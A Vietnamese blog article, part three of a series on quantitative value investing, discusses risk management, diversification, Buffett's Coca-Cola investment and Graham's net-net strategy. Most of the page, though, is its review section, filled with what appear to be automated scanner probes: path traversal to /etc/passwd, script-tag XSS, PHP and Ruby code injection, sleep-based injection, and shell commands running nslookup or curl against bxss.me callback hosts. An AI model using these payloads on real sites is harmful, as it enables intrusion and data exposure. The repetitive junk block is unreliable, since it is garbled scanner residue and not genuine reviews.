- Trang chủ
-
/ [P3] Ứng dụng Python vào xây dựng chiến lược đầu tư giá trị định lượng
[P3] Ứng dụng Python vào xây dựng chiến lược đầu tư giá trị định lượng
06/03/2024
12,754 lượt đọc
Ứng dụng Python vào xây dựng chiến lược đầu tư giá trị định lượng – Phần III
Sau khi giới thiệu cơ bản về đầu tư giá trị định lượng và cách ứng dụng Python để phân tích và lựa chọn cổ phiếu trong Phần I và Phần II. Phần III sẽ tập trung vào việc tăng cường lý rủi ro và đa dạng hóa danh mục đầu tư, nhấn mạnh vai trò của chiến lược trong việc bảo vệ vốn và tối ưu hóa lợi nhuận. Sự kết hợp giữa phân tích định lượng và định tính sẽ được thảo luận, cùng với việc đánh giá sâu sắc các trường hợp nghiên cứu từ các nhà đầu tư giá trị hàng đầu. Đồng thời, trong bài viết sẽ đề cập đến những hạn chế của phương pháp này và cách khắc phục thông qua sự cân nhắc kỹ lưỡng và chiến lược đầu tư linh hoạt.
1. Quản lý rủi ro và đa dạng hóa danh mục đầu tư với chiến lược đầu tư giá trị định lượng
Quản lý rủi ro và đa dạng hóa danh mục đầu tư là những khía cạnh thiết yếu của đầu tư giá trị định lượng. Chúng giúp các nhà đầu tư bảo vệ vốn của mình và đạt được lợi nhuận ổn định hơn. Đây là cách những khái niệm này áp dụng cho đầu tư giá trị định lượng:
1.1. Quản lý rủi ro
Đa dạng hóa danh mục đầu tư: Phân bổ khoản đầu tư sang các lĩnh vực hoặc ngành khác nhau để giảm rủi ro các cổ phiếu hoặc lĩnh vực riêng lẻ ảnh hưởng đến danh mục đầu tư tổng thể. Sử dụng phân tích định lượng để xác định cổ phiếu với mức độ tương quan thấp, tạo ra một danh mục đầu tư cân bằng với mức độ biến động tổng thể giảm.
Đánh giá rủi ro: Ứng dụng các mô hình định lượng như độ lệch chuẩn, beta, và phân tích VAR (Value at Risk) để đánh giá mức độ rủi ro của từng khoản đầu tư, từ đó quyết định quy mô vị thế phù hợp.
Bảo vệ bằng lệnh dừng lỗ: Đặt mức giá định trước nhằm sẽ tự động bán cổ phiếu nhằm hạn chế khoản lỗ có thể xảy ra.
Quy mô vị thế: Phân bổ nhiều vốn hơn cho các cổ phiếu có rủi ro thấp hơn và ít vốn hơn cho những cổ phiếu có rủi ro cao hơn.
Học từ quá khứ: Nghiên cứu cách hoạt động của cổ phiếu trong quá khứ để đưa ra quyết định sáng suốt.
1.2. Đa dạng hóa
Lĩnh vực lan rộng: Đầu tư vào nhiều lĩnh vực và ngành khác nhau để giảm tác động của các vấn đề trong một lĩnh vực.
Phân bổ tài sản đa dạng: Đa dạng hóa danh mục đầu tư không chỉ giới hạn ở cổ phiếu mà còn bao gồm trái phiếu, quỹ đầu tư bất động sản (REITs), và thậm chí là tiền điện tử hoặc hàng hóa, tùy thuộc vào mức độ chấp nhận rủi ro của nhà đầu tư.
Toàn cầu hóa: Đầu tư vào các khu vực hoặc quốc gia khác nhau để giảm thiểu rủi ro liên quan đến các sự kiện tại khu vực đó.
Quy mô công ty khác nhau: Đa dạng hóa danh mục đầu tư bằng cách bao gồm cổ phiếu của các công ty với quy mô thị trường khác nhau - từ công ty lớn cho đến công ty nhỏ và vừa, mỗi loại có những đặc điểm rủi ro và lợi nhuận khác nhau.
Tiêu chí định lượng: Lựa chọn cổ phiếu dựa trên các chỉ số tài chính cụ thể như P/E thấp, giá trị sổ sách cao, và dòng tiền mạnh mẽ, đồng thời đảm bảo sự đa dạng trong lựa chọn.
Luôn theo dõi: Đa dạng hóa không phải là quyết định một lần; nó cần được giám sát và tái cân bằng liên tục khi thị trường thay đổi.
Đầu tư giá trị định lượng nhằm mục đích cân bằng lợi nhuận tiềm năng và quản lý rủi ro bằng cách đa dạng hóa và đánh giá rủi ro. Kết hợp những yếu tố này giúp tạo ra một chiến lược đầu tư ổn định và có khả năng sinh lời cao cho nhà đầu tư.
1.3. Ví dụ thực tế và trường hợp nghiên cứu
Warren Buffett và Berkshire Hathaway
Warren Buffett, một trong những nhà đầu tư giá trị nổi tiếng nhất, đã áp dụng thành công các nguyên tắc đầu tư giá trị định lượng trong nhiều thập kỷ. Công ty của ông, Berkshire Hathaway, đã hoạt động tốt hơn thị trường bằng cách kết hợp các tỷ số tài chính và phân tích định tính.
Warren Buffett và công ty của ông, Berkshire Hathaway, đã minh họa một trong những ví dụ điển hình nhất về chiến lược đầu tư giá trị thông qua khoản đầu tư vào Coca-Cola. Vào năm 1988, Buffett bắt đầu mua cổ phiếu của Coca-Cola, đầu tư khoảng 1 tỷ USD để nắm giữ 7% cổ phần của công ty. Đến cuối năm 2020, giá trị của khoản đầu tư này đã tăng lên hơn 20 tỷ USD, thể hiện một mức tăng trưởng ấn tượng, tương đương với sự tăng gấp hai mươi lần trong khoảng ba thập kỷ. Khi tính cả thu nhập từ cổ tức, tỷ suất sinh lời hàng năm của khoản đầu tư này ước tính vào khoảng 10%, điều này càng làm tăng thêm giá trị đầu tư do Coca-Cola luôn duy trì việc trả cổ tức một cách đều đặn.
Sự thành công của khoản đầu tư này có thể được quy cho một số yếu tố quan trọng:
Thứ nhất, khả năng của Buffett trong việc nhìn thấy tiềm năng lâu dài của Coca-Cola, bất chấp sự chú ý quá mức của thị trường vào những sai lầm ngắn hạn của công ty, đặc biệt là sau sự cố “New Coke”. Ông nhận ra giá trị bền vững của thương hiệu Coca-Cola và dòng sản phẩm được yêu thích toàn cầu.
Thứ hai, sự mở rộng không ngừng của Coca-Cola ra thị trường quốc tế cùng với việc đa dạng hóa danh mục sản phẩm của họ, không chỉ giới hạn ở đồ uống có đường, đã thúc đẩy tăng trưởng tổng thể và lợi nhuận của công ty. Khả năng tạo ra dòng tiền tự do đáng kể và thực hiện các chính sách thân thiện với cổ đông, như việc trả cổ tức đều đặn, cũng là những yếu tố chính góp phần vào thành công của khoản đầu tư này.
Sự tăng trưởng vững chắc trong giá cổ phiếu của Coca-Cola qua nhiều năm đã đóng góp đáng kể vào sự phát triển tổng thể của danh mục đầu tư của Berkshire Hathaway, và khẳng định vị thế của Buffett là một nhà đầu tư huyền thoại. Khoản đầu tư vào Coca-Cola của Buffett cung cấp một nghiên cứu điển hình giá trị về việc kết hợp phân tích định lượng và định tính trong đầu tư giá trị, đồng thời nhấn mạnh tầm quan trọng của việc nhìn xa trông rộng và đánh giá doanh nghiệp dựa trên giá trị cốt lõi và tiềm năng tăng trưởng lâu dài.
Cổ phiếu ròng của Ben Graham
Benjamin Graham, thường được coi là “cha đẻ của đầu tư giá trị”, đã đưa ra nhiều nguyên tắc và chiến lược đầu tư đã trở thành cơ sở cho hàng thế hệ nhà đầu tư sau này. Một trong những chiến lược nổi tiếng nhất của ông là phương pháp đầu tư vào “cổ phiếu ròng” (Net-Net Investing). Phương pháp này tập trung vào việc mua cổ phiếu của các công ty đang giao dịch dưới giá trị tài sản ròng hiện tại (NCAV - Net Current Asset Value).
NCAV được tính bằng cách lấy tổng tài sản lưu động trừ đi tổng nợ phải trả. Graham tìm kiếm các công ty mà giá cổ phiếu của họ giao dịch dưới 2/3 giá trị NCAV. Ông tin rằng, việc mua cổ phiếu với giá thấp hơn đáng kể so với NCAV sẽ cung cấp một biện pháp an toàn cho nhà đầu tư.
Hình 1.1: Hiệu suất lịch sử của chiến lược đầu tư “Net-Net Investing” của Benjamin Graham trên các khu vực khác nhau từ năm 1985 đến năm 2007
Chiến lược net-net không chỉ có tác dụng ở cấp độ toàn cầu mà còn có tác dụng trong các khu vực (mặc dù ở các mức độ khác nhau). Ví dụ, mạng lưới hoạt động tốt hơn thị trường lần lượt là 18%, 15% và 6% ở Mỹ, Nhật Bản và Châu Âu.
2. Hạn chế của đầu tư giá trị định lượng
Đầu tư giá trị định lượng mang lại một số lợi thế nhưng cũng có những hạn chế. Điều quan trọng là phải nhận thức được những hạn chế này để đưa ra quyết định đầu tư sáng suốt.
Mặc dù còn một số những hạn chế nhưng phương pháp đầu tư giá trị định lượng vẫn là một cách tiếp cận có giá trị đối với nhiều nhà đầu tư. Điều quan trọng là phải nhận ra những hạn chế này và bổ sung các chiến lược định lượng bằng phân tích định tính và hiểu biết rộng hơn về thị trường để đưa ra quyết định đầu tư sáng suốt.
3. Cách khắc phục những hạn chế của đầu tư giá trị định lượng
Nhìn chung, đầu tư giá trị định lượng là phương pháp tiếp cận đầu tư hiệu quả, dựa trên việc phân tích dữ liệu để tìm ra các tài sản bị định giá thấp. Mặc dù mang lại nhiều lợi ích như tính khách quan và quyết định đầu tư có hệ thống, phương pháp này không tránh khỏi những hạn chế và rủi ro. Sự thành công trong đầu tư giá trị định lượng yêu cầu nhà đầu tư không chỉ có kiến thức và kỹ năng phân tích, mà còn cần một cách tiếp cận cấu trúc tốt, tầm nhìn dài hạn, và khả năng linh hoạt điều hướng trong môi trường tài chính đầy biến động. Điều quan trọng là phải áp dụng một cách tiếp cận cân bằng, kết hợp cả phân tích định lượng và định tính, đồng thời thực hiện các biện pháp quản lý rủi ro hiệu quả để tối ưu hóa lợi nhuận và giảm thiểu rủi ro.
Tài liệu tham khảo
Picture Perfect Portfolios. (2024). "Buffett's Investment in Coca-Cola: A Case Study." https://pictureperfectportfolios.com/buffetts-investment-in-coca-cola-a-case-study/#google_vignette.
Alpha Architect. (2021). "Ben Graham's Net Current Asset Value (Net-Net) Strategy." https://alphaarchitect.com/2021/01/ben-grahams-net-current-asset-value-net-net-strategy/
QuantInsti. (2023). "Quantitative Value Investing Strategy in Python." https://blog.quantinsti.com/quantitative-value-investing-strategy-python/
Đánh giá
155,390 / 5
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555<esi:include src="http://bxss.me/rpb.png"/>
pHqghUme
tes****@example.com
${10000491+9999773}
pHqghUme
tes****@example.com<esi:include src="http://bxss.me/rpb.png"/>
555
pHqghUme
tes****@example.com
response.write(9377116*9353192)
pHqghUme
${9999399+10000077}
555
pHqghUme
tes****@example.com
dkhaQmhsVGw=
tes****@example.com
555
pHqghUme<esi:include src="http://bxss.me/rpb.png"/>
tes****@example.com
555
pHqghUme
tes****@example.com
'+response.write(9377116*9353192)+'
${9999300+10000287}
tes****@example.com
555
pHqghUme
tes****@example.com
12345'"\'\");|]*
pHqghUme
tes****@example.com
"+response.write(9377116*9353192)+"
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
../../../../../../../../../../../../../../etc/passwd
pHqghUme
tes****@example.com
555
pHqghUme
response.write(9852825*9265273)
555
pHqghUme
tes****@example.com
)
pHqghUme
tes****@example.com
../../../../../../../../../../../../../../windows/win.ini
pHqghUme
'+response.write(9852825*9265273)+'
555
pHqghUme
tes****@example.com
redirtest.acx
pHqghUme
tes****@example.com
!(()&&!|*|*|
pHqghUme
tes****@example.com
file:///etc/passwd
pHqghUme
"+response.write(9852825*9265273)+"
555
pHqghUme
redirtest.acx
555
pHqghUme
tes****@example.com
^(#$!@#$)(()))******
pHqghUme
tes****@example.com
555
pHqghUme
12345'"\'\");|]*
555
response.write(9035072*9813751)
tes****@example.com
555
redirtest.acx
tes****@example.com
555
pHqghUme
)
555
pHqghUme
tes****@example.com
../555
pHqghUme
tes****@example.com
'.gethostbyname(lc('hitrk'.'exabsdmke9548.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(77).chr(112).chr(71).'
pHqghUme
tes****@example.com
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
'+response.write(9035072*9813751)+'
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
!(()&&!|*|*|
555
pHqghUme
../../../../../../../../../../../../../../etc/passwd
555
pHqghUme
tes****@example.com
".gethostbyname(lc("hitxx"."fijtchos3ef24.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(80).chr(98).chr(69)."
pHqghUme
tes****@example.com
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs
"+response.write(9035072*9813751)+"
tes****@example.com
555
pHqghUme
^(#**@#$)(()))******
555
pHqghUme
../../../../../../../../../../../../../../windows/win.ini
555
pHqghUme
tes****@example.com
gethostbyname(lc('hitzv'.'mvuzwzvfe7635.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(66).chr(105).chr(69)
pHqghUme
tes****@example.com
/etc/shells
pHqghUme
tes****@example.com
555
)
tes****@example.com
555
pHqghUme
file:///etc/passwd
555
12345'"\'\");|]*
tes****@example.com
555
pHqghUme
tes****@example.com
HttP://bxss.me/t/xss.html?%00
pHqghUme
'.gethostbyname(lc('hitie'.'spvbsgssa0ab0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(69).chr(102).chr(76).'
555
pHqghUme
tes****@example.com
../../../../../../../../../../../../../../etc/shells
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
'"
!(()&&!|*|*|
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
bxss.me/t/xss.html?%00
pHqghUme
".gethostbyname(lc("hityl"."bhkroodbab438.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(86).chr(113).chr(70)."
555
pHqghUme
tes****@example.com
"+"A".concat(70-3).concat(22*4).concat(97).concat(67).concat(115).concat(74)+(require"socket" Socket.gethostbyname("hitom"+"soblpmkb13040.bxss.me.")[3].to_s)+"
pHqghUme
tes****@example.com
c:/windows/win.ini
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
review-store
pHqghUme
tes****@example.com
<!--
^(#$!@#$)(()))******
tes****@example.com
555
pHqghUme
../*******@example.com
555
pHqghUme
tes****@example.com
http://bxss.me/t/rfi.php?%00
pHqghUme
gethostbyname(lc('hitkm'.'ifdjahqb41200.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(74).chr(109).chr(70)
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
'+'A'.concat(70-3).concat(22*4).concat(100).concat(84).concat(119).concat(73)+(require'socket' Socket.gethostbyname('hitxx'+'wqldnncjc6e1d.bxss.me.')[3].to_s)+'
pHqghUme
tes****@example.com
bxss.me
pHqghUme
tes****@example.com
review-store
pHqghUme
'"
555
pHqghUme
tes****@example.com
555'"()&%<zzz><ScRiPt >3L0n(9908)</ScRiPt>
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
echo getzen$()\ pwcpor\nz^xyu||a #' &echo getzen$()\ pwcpor\nz^xyu||a #|" &echo getzen$()\ pwcpor\nz^xyu||a #
../../../../../../../../../../../../../../etc/passwd
tes****@example.com
555
pHqghUme
tes****@example.com
555
'.gethostbyname(lc('hitxi'.'rmjsyihtc8333.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(74).chr(118).chr(70).'
tes****@example.com
555
pHqghUme
tes****@example.com
bxss.me/t/rfi.php?%00
pHqghUme
tes****@example.com
'A'.concat(70-3).concat(22*4).concat(114).concat(81).concat(119).concat(78)+(require'socket' Socket.gethostbyname('hitxj'+'baekeexk7dd88.bxss.me.')[3].to_s)
pHqghUme
tes****@example.com
Http://bxss.me/t/fit.txt
pHqghUme
tes****@example.com
review-store/.
pHqghUme
<!--
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
&echo diazoc$()\ klgnex\nz^xyu||a #' &echo diazoc$()\ klgnex\nz^xyu||a #|" &echo diazoc$()\ klgnex\nz^xyu||a #
../../../../../../../../../../../../../../windows/win.ini
tes****@example.com
555
pHqghUme
tes****@example.com
555
".gethostbyname(lc("hitmf"."oguqnbysa6899.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(82).chr(106).chr(80)."
tes****@example.com
555
pHqghUme
HttP://bxss.me/t/xss.html?%00
555
pHqghUme
tes****@example.com
'"()
pHqghUme
"+"A".concat(70-3).concat(22*4).concat(99).concat(69).concat(102).concat(75)+(require"socket" Socket.gethostbyname("hitjq"+"qgxmndpa3e4c2.bxss.me.")[3].to_s)+"
555
pHqghUme
tes****@example.com
'"()&%<zzz><ScRiPt >3L0n(9182)</ScRiPt>
pHqghUme
tes****@example.com
http://bxss.me/t/fit.txt?.jpg
pHqghUme
review-store
555
'"
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555&echo hhtguj$()\ pmpnef\nz^xyu||a #' &echo hhtguj$()\ pmpnef\nz^xyu||a #|" &echo hhtguj$()\ pmpnef\nz^xyu||a #
file:///etc/passwd
tes****@example.com
555
pHqghUme
tes****@example.com
555
gethostbyname(lc('hityw'.'ahrpfcnc5fb49.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(71).chr(99).chr(73)
tes****@example.com
555
pHqghUme
bxss.me/t/xss.html?%00
555
pHqghUme
tes****@example.com
555'&&sleep(27*1000)*frnkna&&'
pHqghUme
'+'A'.concat(70-3).concat(22*4).concat(122).concat(84).concat(100).concat(66)+(require'socket' Socket.gethostbyname('hitxo'+'gmtaphjo0eaa9.bxss.me.')[3].to_s)+'
555
pHqghUme
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.com
555
pHqghUme
review-store
555
<!--
tes****@example.com
555
pHqghUme'&&sleep(27*1000)*nkvwaa&&'
tes****@example.com
555
pHqghUme
tes****@example.com
|echo hlmowf$()\ lgidek\nz^xyu||a #' |echo hlmowf$()\ lgidek\nz^xyu||a #|" |echo hlmowf$()\ lgidek\nz^xyu||a #
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
http://bxss.me/t/rfi.php?%00
555
pHqghUme
tes****@example.com
555"&&sleep(27*1000)*jqtlpn&&"
pHqghUme
tes****@example.com
5559776940
pHqghUme
'A'.concat(70-3).concat(22*4).concat(110).concat(90).concat(99).concat(80)+(require'socket' Socket.gethostbyname('hitxn'+'fygzudpe08863.bxss.me.')[3].to_s)
555
pHqghUme
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs
555
pHqghUme
tes****@example.com
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
pHqghUme
review-store/.
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555|echo suvtlk$()\ jeysae\nz^xyu||a #' |echo suvtlk$()\ jeysae\nz^xyu||a #|" |echo suvtlk$()\ jeysae\nz^xyu||a #
pHqghUme
tes****@example.com
555
../pHqghUme
tes****@example.com
555
pHqghUme
bxss.me/t/rfi.php?%00
555
pHqghUme
tes****@example.com
555'||sleep(27*1000)*pqfdxk||'
"+"A".concat(70-3).concat(22*4).concat(118).concat(86).concat(100).concat(89)+(require"socket" Socket.gethostbyname("hithe"+"ivdwfdjjcd633.bxss.me.")[3].to_s)+"
tes****@example.com
555
pHqghUme
/etc/shells
555
pHqghUme
tes****@example.com
';print(md5(31337));$a='
review-store
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
expr 9000800059 - 987196
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com'"()&%<zzz><ScRiPt >3L0n(9111)</ScRiPt>
555
HttP://bxss.me/t/xss.html?%00
tes****@example.com
555
pHqghUme
tes****@example.com
555"||sleep(27*1000)*rwlxlb||"
'+'A'.concat(70-3).concat(22*4).concat(103).concat(79).concat(115).concat(78)+(require'socket' Socket.gethostbyname('hitak'+'wutqnazwa2b60.bxss.me.')[3].to_s)+'
tes****@example.com
555
pHqghUme
../../../../../../../../../../../../../../etc/shells
555
pHqghUme
tes****@example.com
";print(md5(31337));$a="
review-store
tes****@example.com
555
pHqghUme
tes****@example.com
555
bxss.me/t/xss.html?%00
tes****@example.com
555
pHqghUme
tes****@example.com
(nslookup -q=cname hittzhpikramc9d3fa.bxss.me||curl hittzhpikramc9d3fa.bxss.me))
'A'.concat(70-3).concat(22*4).concat(106).concat(87).concat(104).concat(77)+(require'socket' Socket.gethostbyname('hitqz'+'jkkwblqla1cef.bxss.me.')[3].to_s)
tes****@example.com
555
pHqghUme
tes****@example.com
${@print(md5(31337))}
pHqghUme
c:/windows/win.ini
555
review-store/.
tes****@example.com
555
pHqghUme
'"()&%<zzz><ScRiPt >3L0n(9500)</ScRiPt>
555
pHqghUme
tes****@example.com
555
http://bxss.me/t/rfi.php?%00
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
$(nslookup -q=cname hitkwiemwdege27de4.bxss.me||curl hitkwiemwdege27de4.bxss.me)
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
${@print(md5(31337))}\
pHqghUme
bxss.me
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
bxss.me/t/rfi.php?%00
tes****@example.com
555
pHqghUme
${@print(md5(31337))}\
555
pHqghUme
tes****@example.com
&nslookup -q=cname hitzysxgjmcmf60569.bxss.me&'\"`0&nslookup -q=cname hitzysxgjmcmf60569.bxss.me&`'
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
'.print(md5(31337)).'
pHqghUme
Http://bxss.me/t/fit.txt
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com9577909
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
'"()
555
pHqghUme
tes****@example.com
&(nslookup -q=cname hitltrlibfgehf6d03.bxss.me||curl hitltrlibfgehf6d03.bxss.me)&'\"`0&(nslookup -q=cname hitltrlibfgehf6d03.bxss.me||curl hitltrlibfgehf6d03.bxss.me)&`'
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
<?php print(md5(31337));?>
pHqghUme
http://bxss.me/t/fit.txt?.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com'&&sleep(27*1000)*vdftwk&&'
555
pHqghUme
tes****@example.com
|(nslookup -q=cname hitaezvpuryjh97cfa.bxss.me||curl hitaezvpuryjh97cfa.bxss.me)
pHqghUme
tes****@example.com
'{${print(md5(31337))}}'
pHqghUme'"()&%<zzz><ScRiPt >3L0n(9996)</ScRiPt>
tes****@example.com
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com"&&sleep(27*1000)*vtxife&&"
555
pHqghUme
tes****@example.com
`(nslookup -q=cname hitrhmwjupsne3cd40.bxss.me||curl hitrhmwjupsne3cd40.bxss.me)`
pHqghUme
tes****@example.com
print(md5(31337));//
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com'||sleep(27*1000)*mrpzzz||'
555
pHqghUme
tes****@example.com
;(nslookup -q=cname hitljweoenwph6f5e0.bxss.me||curl hitljweoenwph6f5e0.bxss.me)|(nslookup -q=cname hitljweoenwph6f5e0.bxss.me||curl hitljweoenwph6f5e0.bxss.me)&(nslookup -q=cname hitljweoenwph6f5e0.bxss.me||curl hitljweoenwph6f5e0.bxss.me)
pHqghUme
tes****@example.com
{php}print(md5(31337));{/php}
'"()&%<zzz><ScRiPt >3L0n(9185)</ScRiPt>
tes****@example.com
555
/etc/shells
tes****@example.com
555
pHqghUme
tes****@example.com"||sleep(27*1000)*mwuwvj||"
555
pHqghUme
tes****@example.com
|(nslookup${IFS}-q${IFS}cname${IFS}hitzmduzdgfhdd6800.bxss.me||curl${IFS}hitzmduzdgfhdd6800.bxss.me)
pHqghUme
tes****@example.com
[php]print(md5(31337));[/php]
../../../../../../../../../../../../../../etc/shells
tes****@example.com
555
pHqghUme
tes****@example.com
&(nslookup${IFS}-q${IFS}cname${IFS}hitlmwfmmahgrff0ad.bxss.me||curl${IFS}hitlmwfmmahgrff0ad.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitlmwfmmahgrff0ad.bxss.me||curl${IFS}hitlmwfmmahgrff0ad.bxss.me)&`'
pHqghUme9206613
tes****@example.com
555
pHqghUme
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
c:/windows/win.ini
tes****@example.com
555
pHqghUme
echo cenyny$()\ knpbrj\nz^xyu||a #' &echo cenyny$()\ knpbrj\nz^xyu||a #|" &echo cenyny$()\ knpbrj\nz^xyu||a #
555
pHqghUme
tes****@example.com
555
pHqghUme
';print(md5(31337));$a='
555
bxss.me
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
&echo ctvcdz$()\ hegsya\nz^xyu||a #' &echo ctvcdz$()\ hegsya\nz^xyu||a #|" &echo ctvcdz$()\ hegsya\nz^xyu||a #
555
Http://bxss.me/t/fit.txt
tes****@example.com
555
pHqghUme
";print(md5(31337));$a="
555
pHqghUme
tes****@example.com&echo evclxe$()\ oyuylf\nz^xyu||a #' &echo evclxe$()\ oyuylf\nz^xyu||a #|" &echo evclxe$()\ oyuylf\nz^xyu||a #
555
http://bxss.me/t/fit.txt?.jpg
tes****@example.com
555
'"()
tes****@example.com
555
pHqghUme
${@print(md5(31337))}
555
pHqghUme
|echo vxunqc$()\ fwpgex\nz^xyu||a #' |echo vxunqc$()\ fwpgex\nz^xyu||a #|" |echo vxunqc$()\ fwpgex\nz^xyu||a #
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com|echo liruoq$()\ lvguyb\nz^xyu||a #' |echo liruoq$()\ lvguyb\nz^xyu||a #|" |echo liruoq$()\ lvguyb\nz^xyu||a #
555
pHqghUme
tes****@example.com
555
pHqghUme"&&sleep(27*1000)*lgimoo&&"
tes****@example.com
555
pHqghUme
'.print(md5(31337)).'
555
pHqghUme
tes****@example.com
555
pHqghUme
expr 9000510804 - 955804
555
pHqghUme
tes****@example.com
555
pHqghUme'||sleep(27*1000)*wbpsfk||'
tes****@example.com
555
pHqghUme
<?php print(md5(31337));?>
555
pHqghUme
(nslookup -q=cname hitidtxclvrjcdf2d3.bxss.me||curl hitidtxclvrjcdf2d3.bxss.me))
555
pHqghUme
tes****@example.com
555
pHqghUme"||sleep(27*1000)*yuiquw||"
tes****@example.com
555
pHqghUme
'{${print(md5(31337))}}'
555
pHqghUme
$(nslookup -q=cname hitsqoqrmutppc834a.bxss.me||curl hitsqoqrmutppc834a.bxss.me)
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
print(md5(31337));//
555
pHqghUme
&nslookup -q=cname hitwjgktrlfte59c41.bxss.me&'\"`0&nslookup -q=cname hitwjgktrlfte59c41.bxss.me&`'
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
{php}print(md5(31337));{/php}
555
pHqghUme
&(nslookup -q=cname hitexxfhhxfjj42040.bxss.me||curl hitexxfhhxfjj42040.bxss.me)&'\"`0&(nslookup -q=cname hitexxfhhxfjj42040.bxss.me||curl hitexxfhhxfjj42040.bxss.me)&`'
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
[php]print(md5(31337));[/php]
555
pHqghUme
|(nslookup -q=cname hitgvqtughyfdbad5e.bxss.me||curl hitgvqtughyfdbad5e.bxss.me)
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
`(nslookup -q=cname hitwyuexrqqcmcabf8.bxss.me||curl hitwyuexrqqcmcabf8.bxss.me)`
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
;(nslookup -q=cname hithqrroqyijj67b3d.bxss.me||curl hithqrroqyijj67b3d.bxss.me)|(nslookup -q=cname hithqrroqyijj67b3d.bxss.me||curl hithqrroqyijj67b3d.bxss.me)&(nslookup -q=cname hithqrroqyijj67b3d.bxss.me||curl hithqrroqyijj67b3d.bxss.me)
555
';print(md5(31337));$a='
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
|(nslookup${IFS}-q${IFS}cname${IFS}hitcmitzmojui5746b.bxss.me||curl${IFS}hitcmitzmojui5746b.bxss.me)
555
";print(md5(31337));$a="
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
&(nslookup${IFS}-q${IFS}cname${IFS}hitkpdypddvef40d1b.bxss.me||curl${IFS}hitkpdypddvef40d1b.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitkpdypddvef40d1b.bxss.me||curl${IFS}hitkpdypddvef40d1b.bxss.me)&`'
555
${@print(md5(31337))}
tes****@example.com
555
pHqghUme
tes****@example.com
555
echo glpilm$()\ oecuxc\nz^xyu||a #' &echo glpilm$()\ oecuxc\nz^xyu||a #|" &echo glpilm$()\ oecuxc\nz^xyu||a #
tes****@example.com
555
${@print(md5(31337))}\
tes****@example.com
555
pHqghUme
tes****@example.com
555
&echo gfnzet$()\ pkkees\nz^xyu||a #' &echo gfnzet$()\ pkkees\nz^xyu||a #|" &echo gfnzet$()\ pkkees\nz^xyu||a #
tes****@example.com
555
'.print(md5(31337)).'
tes****@example.com
555
pHqghUme&echo tvyvom$()\ nypzow\nz^xyu||a #' &echo tvyvom$()\ nypzow\nz^xyu||a #|" &echo tvyvom$()\ nypzow\nz^xyu||a #
tes****@example.com
555
<?php print(md5(31337));?>
tes****@example.com
555
|echo zezyqq$()\ ndtiep\nz^xyu||a #' |echo zezyqq$()\ ndtiep\nz^xyu||a #|" |echo zezyqq$()\ ndtiep\nz^xyu||a #
tes****@example.com
555
'{${print(md5(31337))}}'
tes****@example.com
555
pHqghUme|echo jukrns$()\ fzxmmx\nz^xyu||a #' |echo jukrns$()\ fzxmmx\nz^xyu||a #|" |echo jukrns$()\ fzxmmx\nz^xyu||a #
tes****@example.com
555
print(md5(31337));//
tes****@example.com
555
expr 9000376960 - 954136
tes****@example.com
555
{php}print(md5(31337));{/php}
tes****@example.com
555
[php]print(md5(31337));[/php]
tes****@example.com
